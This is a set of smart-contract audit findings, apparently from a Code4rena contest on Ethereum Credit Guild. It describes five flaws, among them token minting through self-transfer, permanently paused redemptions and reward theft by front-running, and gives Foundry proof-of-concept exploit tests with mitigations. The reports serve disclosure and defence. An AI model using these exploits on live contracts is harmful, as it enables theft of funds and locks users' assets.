Ethereum Credit Guild - Soul22's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L553 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L646

Vulnerability details

Impact

The credit token inherits ERC20RebaseDistributor, allowing attackers to exploit the ERC20RebaseDistributor::transfer() or ERC20RebaseDistributor::transferFrom() functions. These two functions enables them to mint free credit tokens and trap others by engaging in self-transfers.

Proof of Concept

Temporary values are used to update state variables in the ERC20RebaseDistributor::transfer() function.

    /// @notice Override of default ERC20 behavior: exit rebase before movement (if rebasing),
    /// and re-enter rebasing after movement (if rebasing).
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        // if `from` is rebasing, materialize the tokens from rebase to ensure
        // proper behavior in `ERC20.transfer()`.
        RebasingState memory rebasingStateFrom = rebasingState[msg.sender];//@audit-note temporary data is used 
        RebasingState memory rebasingStateTo = rebasingState[to]; //@audit-note temporary data is used 
        uint256 fromBalanceBefore = ERC20.balanceOf(msg.sender);
        uint256 _rebasingSharePrice =  (rebasingStateFrom.isRebasing == 1 || rebasingStateTo.isRebasing == 1)
                                        ? rebasingSharePrice()
                                        : 0; // only SLOAD if at least one address is rebasing
        if (rebasingStateFrom.isRebasing == 1) {
            uint256 shares = uint256(rebasingStateFrom.nShares);
            uint256 rebasedBalance = _shares2balance(
                shares,
                _rebasingSharePrice,
                0,
                fromBalanceBefore
            );
            uint256 mintAmount = rebasedBalance - fromBalanceBefore;
            if (mintAmount != 0) {
                ERC20._mint(msg.sender, mintAmount);
                fromBalanceBefore += mintAmount;
                decreaseUnmintedRebaseRewards(mintAmount);
                emit RebaseReward(msg.sender, block.timestamp, mintAmount);
            }
        }

        // do ERC20.transfer()
        bool success = ERC20.transfer(to, amount);

        // if `from` is rebasing, update its number of shares
        int256 sharesDelta;
        if (rebasingStateFrom.isRebasing == 1) {
            uint256 fromBalanceAfter = fromBalanceBefore - amount;
            uint256 fromSharesAfter = _balance2shares(fromBalanceAfter, _rebasingSharePrice);
            uint256 sharesSpent = rebasingStateFrom.nShares - fromSharesAfter;
            sharesDelta -= int256(sharesSpent);
            rebasingState[msg.sender] = RebasingState({isRebasing: 1, nShares: uint248(fromSharesAfter)});
        }

        // if `to` is rebasing, update its number of shares
        if (rebasingStateTo.isRebasing == 1) {
            // compute rebased balance
            uint256 rawToBalanceAfter = ERC20.balanceOf(to); //@audit-note weakpoint!!!
            uint256 toBalanceAfter = _shares2balance(//@audit-note weakpoint!!!
                rebasingStateTo.nShares,
                _rebasingSharePrice,
                amount,
                rawToBalanceAfter
            );

            // update number of shares
            uint256 toSharesAfter = _balance2shares(toBalanceAfter, _rebasingSharePrice);
            uint256 sharesReceived = toSharesAfter - rebasingStateTo.nShares;
            sharesDelta += int256(sharesReceived);
            rebasingState[to] = RebasingState({isRebasing: 1, nShares: uint248(toSharesAfter)});

            // "realize" unminted rebase rewards
            uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
            if (mintAmount != 0) {
                ERC20._mint(to, mintAmount);
                decreaseUnmintedRebaseRewards(mintAmount);
                emit RebaseReward(to, block.timestamp, mintAmount);
            }
        }

        // if `from` or `to` was rebasing, update the total number of shares
        if (rebasingStateFrom.isRebasing == 1 || rebasingStateTo.isRebasing == 1) {
            updateTotalRebasingShares(_rebasingSharePrice, sharesDelta);
        }

        return success;
    }

Copy and paste the following code into the ERC20RebaseDistributorUnitTest.t.sol file.

    function testTransfer_selfTransfer() public {
        vm.prank(alice);
        token.enterRebase();//note Self-transfers could harm the system, but only if users enter rebase.
        uint256 alice_originalBalance = 100;
        token.mint(alice, alice_originalBalance);

        vm.prank(bobby);
        token.enterRebase();//note Self-transfers could harm the system, but only if users enter rebase.
        uint256 bobby_originalBalance = 100;
        token.mint(bobby, bobby_originalBalance);

        assertEq(token.isRebasing(alice), true);
        assertEq(token.isRebasing(bobby), true);
        assertEq(token.totalSupply(), alice_originalBalance + bobby_originalBalance);
        assertEq(token.rebasingSupply(), alice_originalBalance + bobby_originalBalance);
        assertEq(token.nonRebasingSupply(), 0);


        uint256 distributeAmuont = 1_000;
        token.mint(address(this), distributeAmuont);
        token.distribute(distributeAmuont);
        vm.warp(block.timestamp + token.DISTRIBUTION_PERIOD());
        assertEq(token.pendingDistributedSupply(), 0);

        uint256 before_totalSupply = token.totalSupply();
        assertEq(before_totalSupply, alice_originalBalance + bobby_originalBalance + distributeAmuont);

        for(uint256 i; i < 5; i++){
            vm.prank(alice);
            token.transfer(alice, alice_originalBalance); 
            assertEq(token.balanceOf(alice), distributeAmuont/2 + alice_originalBalance + 100 + 96 * i);
        }

        assertEq(token.balanceOf(alice), 1084);//1084 = 1000/2 + 100 + 100 + 96 * 4
        assertEq(token.balanceOf(bobby), 600);//600 = 1000/2 + 100
        uint256 after_totalSupply = token.totalSupply();
        assertEq(before_totalSupply, after_totalSupply);
        assertEq(after_totalSupply, 1200);
        assertGt(token.balanceOf(alice) + token.balanceOf(bobby), token.totalSupply()); 

        vm.startPrank(alice);
        token.exitRebase();
        assertEq(token.balanceOf(alice), 1084);
        token.transfer(carol, token.balanceOf(alice));
        assertEq(token.balanceOf(alice), 0); 
        assertEq(token.balanceOf(carol), 1084);//note alice can do anything
        vm.stopPrank();

        vm.startPrank(bobby);
        vm.expectRevert();
        token.exitRebase();//note bobby cannot exitRebase
        vm.expectRevert();
        token.transfer(carol, 1); //note bobby cannot transfer any tokens
        vm.expectRevert();
        token.burn(1); //note bobby cannot burn any tokens
        token.approve(bobby, type(uint256).max);
        vm.expectRevert();
        token.transferFrom(bobby, carol, 1);//note bobby cannot transferFrom any tokens
        vm.stopPrank();
    }

Tools Used

VSCode

Recommended Mitigation Steps

To resolve the problem in transfer and transferFrom, update the code to use the most recent storage values instead of cached ones.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L667 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L228 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L754

Vulnerability details

Impact

Liquidating a position may take up to 30 minutes. The amount of credit tokens requested, known as loanDebt, is determined by the creditMultiplier when the LendingTerm::call() function is called.

When a bad debt occurs, the creditMultiplier decreases. This decrease affects other ongoing auctions because the LendingTerm::onBid() function uses the latest creditMultiplier to calculate the principal.

In simpler terms, when a bad debt happens, the value of credit tokens decreases and liquidators can mint same amount of credit tokens using fewer peg tokens from the PSMs.

If a bad debt occurs in an auction, other ongoing auctions should use the new creditMultiplier to determine their requested loan amount (loanDebt).

Proof of Concept

LendingTerm::call()#L665

        // update loan in state
        uint256 loanDebt = getLoanDebt(loanId);

LendingTerm::getLoanDebt:L228-L230

        uint256 creditMultiplier = ProfitManager(refs.profitManager)
            .creditMultiplier();
        loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;
    }

Tools Used

VS Code

Recommended Mitigation Steps

Determine the loanDebt each auction should request using the new creditMultiplier.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L154

Vulnerability details

Impact

if a term is re-onboarded before the cleanup() function is called, then attacker can invoke the offboard() function again to increment the state variable nOffboardingsInProgress.

The PSM redemptions will never be resumed, resulting in the loss of all users' funds.

Proof of Concept

copy and paste the following code into LendingTermOffboardingUnitTest.t.sol

    function testAttack() public {
        guild.mint(bob, _QUORUM);
        vm.startPrank(bob);
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        offboarder.proposeOffboard(address(term));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        offboarder.supportOffboard(snapshotBlock, address(term));
        offboarder.offboard(address(term));
        assertEq(psm.redemptionsPaused(), true);
        assertEq(offboarder.nOffboardingsInProgress(), 1);

        // get enough CREDIT to pack back interests
        vm.stopPrank();
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        uint256 debt = term.getLoanDebt(aliceLoanId);
        credit.mint(alice, debt - aliceLoanSize);

        // close loans
        vm.startPrank(alice);
        credit.approve(address(term), debt);
        term.repay(aliceLoanId);
        vm.stopPrank();

        // re-onboard
        //note onboarding should go through LendingTermOnboarding. 
        //note here is just for simplicity
        guild.addGauge(1, address(term));


        //@audit-note offboard again to increment `nOffboardingsInProgress`
        offboarder.offboard(address(term));
        assertEq(psm.redemptionsPaused(), true);
        assertEq(offboarder.nOffboardingsInProgress(), 2);

        // cleanup
        //@audit-note `cleanup` can be called even after re-onboard
        offboarder.cleanup(address(term));

        assertEq(psm.redemptionsPaused(), true);
        assertEq(offboarder.nOffboardingsInProgress(), 1);
    }

Tools Used

VSCode + Foundry

Recommended Mitigation Steps

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L396

Vulnerability details

Impact

The rewards are distributed non-linearly.

Attacker can frontrun the profitManager::notifyPnL() function and stake a large amount of credit tokens via SurplusGuildMinter::stake() and/or increment a large amount of guage weight via GuildToken::incrementGauge(), allowing them to steal a majority of the rewards.

Proof of Concept

    function testRewardsSabotage() public {
        // setup
        uint256 aliceAmount = 150e18;
        credit.mint(address(this), 150e18);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);

        assertEq(credit.balanceOf(address(this)), 0);
        assertEq(profitManager.surplusBuffer(), 0);
        assertEq(profitManager.termSurplusBuffer(term), 150e18);
        assertEq(guild.balanceOf(address(sgm)), 300e18);
        assertEq(guild.getGaugeWeight(term), 350e18); 
        assertEq(sgm.getUserStake(address(this), term).credit, 150e18);

        vm.warp(block.timestamp + 5 days);

        //note frontrunning
        uint256 bobbyAmount = aliceAmount * 1000;
        address bobby = address(0xb0b);
        credit.mint(bobby, bobbyAmount);
        vm.startPrank(bobby);
        credit.approve(address(sgm), bobbyAmount);
        sgm.stake(term, bobbyAmount);
        vm.stopPrank();

        assertEq(guild.getGaugeWeight(term), 50e18 + (aliceAmount + bobbyAmount) * 2); 
        assertEq(guild.getUserGaugeWeight(bobby, term), 0); 
        assertEq(guild.getUserGaugeWeight(address(this), term), 50e18); 
        

        // the guild token earn interests
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0.5e18, // surplusBufferSplit
            0, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        int256 profitAmount = 100e18;
        credit.mint(address(profitManager), uint256(profitAmount));
        profitManager.notifyPnL(term, profitAmount); //note sgm can get 100e18/2 tokens


        sgm.getRewards(address(this), term);
        sgm.getRewards(bobby, term);
        uint256 creditEarned_this = credit.balanceOf(address(this));
        assertEq(creditEarned_this, 49941734642916300);//0.0499417346429163e18

        uint256 creditEarned_bobby = credit.balanceOf(bobby);
        assertEq(creditEarned_bobby, 49941734642916300000);//49.9417346429163e18
    }

Tools Used

VS Code

Recommended Mitigation Steps

Implement a mechanism to distribute profits in a linear manner.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L364

Vulnerability details

Impact

The rewards for users who enter rebase are distributed in a linear manner.

ERC20RebaseDistributor::interpolatedValue#L149-152

lastValue + (delta * elapsed) / (targetTimestamp - lastTimestamp)

However, the targetTimestamp is extended to block.timeStape + DISTRIBUTION_PERIOD every time when the distribute() function is invoked.

Attackers can use this method to delay one-third of the rewards beyond the end of the month.

Proof of Concept

    /// @notice distribute tokens proportionately to all rebasing accounts.
    /// @dev if no addresses are rebasing, calling this function will burn tokens
    /// from `msg.sender` and emit an event, but won't rebase up any balances.
    function distribute(uint256 amount) external {
        require(amount != 0, "ERC20RebaseDistributor: cannot distribute zero");

        // burn the tokens received
        _burn(msg.sender, amount);

        // emit event
        uint256 _rebasingSharePrice = rebasingSharePrice();
        uint256 _totalRebasingShares = totalRebasingShares;
        uint256 _rebasingSupply = _shares2balance(
            _totalRebasingShares,
            _rebasingSharePrice,
            0,
            0
        );
        emit RebaseDistribution(
            msg.sender,
            block.timestamp,
            amount,
            _rebasingSupply
        );

        // adjust up the balance of all accounts that are rebasing by increasing
        // the share price of rebasing tokens
        if (_rebasingSupply != 0) {
            // update rebasingSharePrice interpolation
            uint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;
            uint256 newTargetSharePrice = 
            (amount * START_REBASING_SHARE_PRICE + __rebasingSharePrice.targetValue * _totalRebasingShares) 
                                            / _totalRebasingShares;

            __rebasingSharePrice = InterpolatedValue({
                lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp),
                lastValue: SafeCastLib.safeCastTo224(_rebasingSharePrice), //@audit-note the `targetTimestamp` is extended 
                targetTimestamp: SafeCastLib.safeCastTo32(endTimestamp),
                targetValue: SafeCastLib.safeCastTo224(newTargetSharePrice) 
            });

            // update unmintedRebaseRewards interpolation
            uint256 _unmintedRebaseRewards = unmintedRebaseRewards();
            __unmintedRebaseRewards = InterpolatedValue({
                lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp),
                lastValue: SafeCastLib.safeCastTo224(_unmintedRebaseRewards),
                targetTimestamp: SafeCastLib.safeCastTo32(endTimestamp),
                targetValue: __unmintedRebaseRewards.targetValue + SafeCastLib.safeCastTo224(amount)
            });
        }
    }

Copy and paste the following code into the ERC20RebaseDistributorUnitTest.t.sol file.

    function testDistribute_DOSAttack() public {
        vm.prank(alice);
        token.enterRebase();
        token.mint(alice, 100e18);

        assertEq(token.totalSupply(), 100e18);
        assertEq(token.nonRebasingSupply(), 0);
        assertEq(token.rebasingSupply(), 100e18);

        // distribute 100e18 profits
        token.mint(address(this), 100e18);
        token.distribute(100e18);
        assertEq(token.totalSupply(), 100e18);
        uint256 expectedTime = block.timestamp + token.DISTRIBUTION_PERIOD();
        uint256 expectedBlanace = token.balanceOf(alice) + token.pendingDistributedSupply();

        uint256 attackerAmount = 30;
        token.mint(address(this), attackerAmount);


        for(uint256 i; block.timestamp < expectedTime; i++){
            vm.warp(block.timestamp + 1 days);
            token.distribute(1);
            uint256 pending = token.pendingDistributedSupply();
            uint256 aliceBalance = token.balanceOf(alice);
            emit log_named_decimal_uint("pending", pending, token.decimals());
            emit log_named_decimal_uint("aliceBalance", aliceBalance, token.decimals());
        }

        assertEq(block.timestamp, expectedTime);
        assertLt(token.balanceOf(alice), expectedBlanace);
        //token.balanceOf(alice) = 163.833848653838951017
        //expectedBlanace = 200;
    }

Tools Used

VScode + Foundry

Recommended Mitigation Steps

Add access control on ERC20RebaseDistributor::distribute()

Assessed type

Timing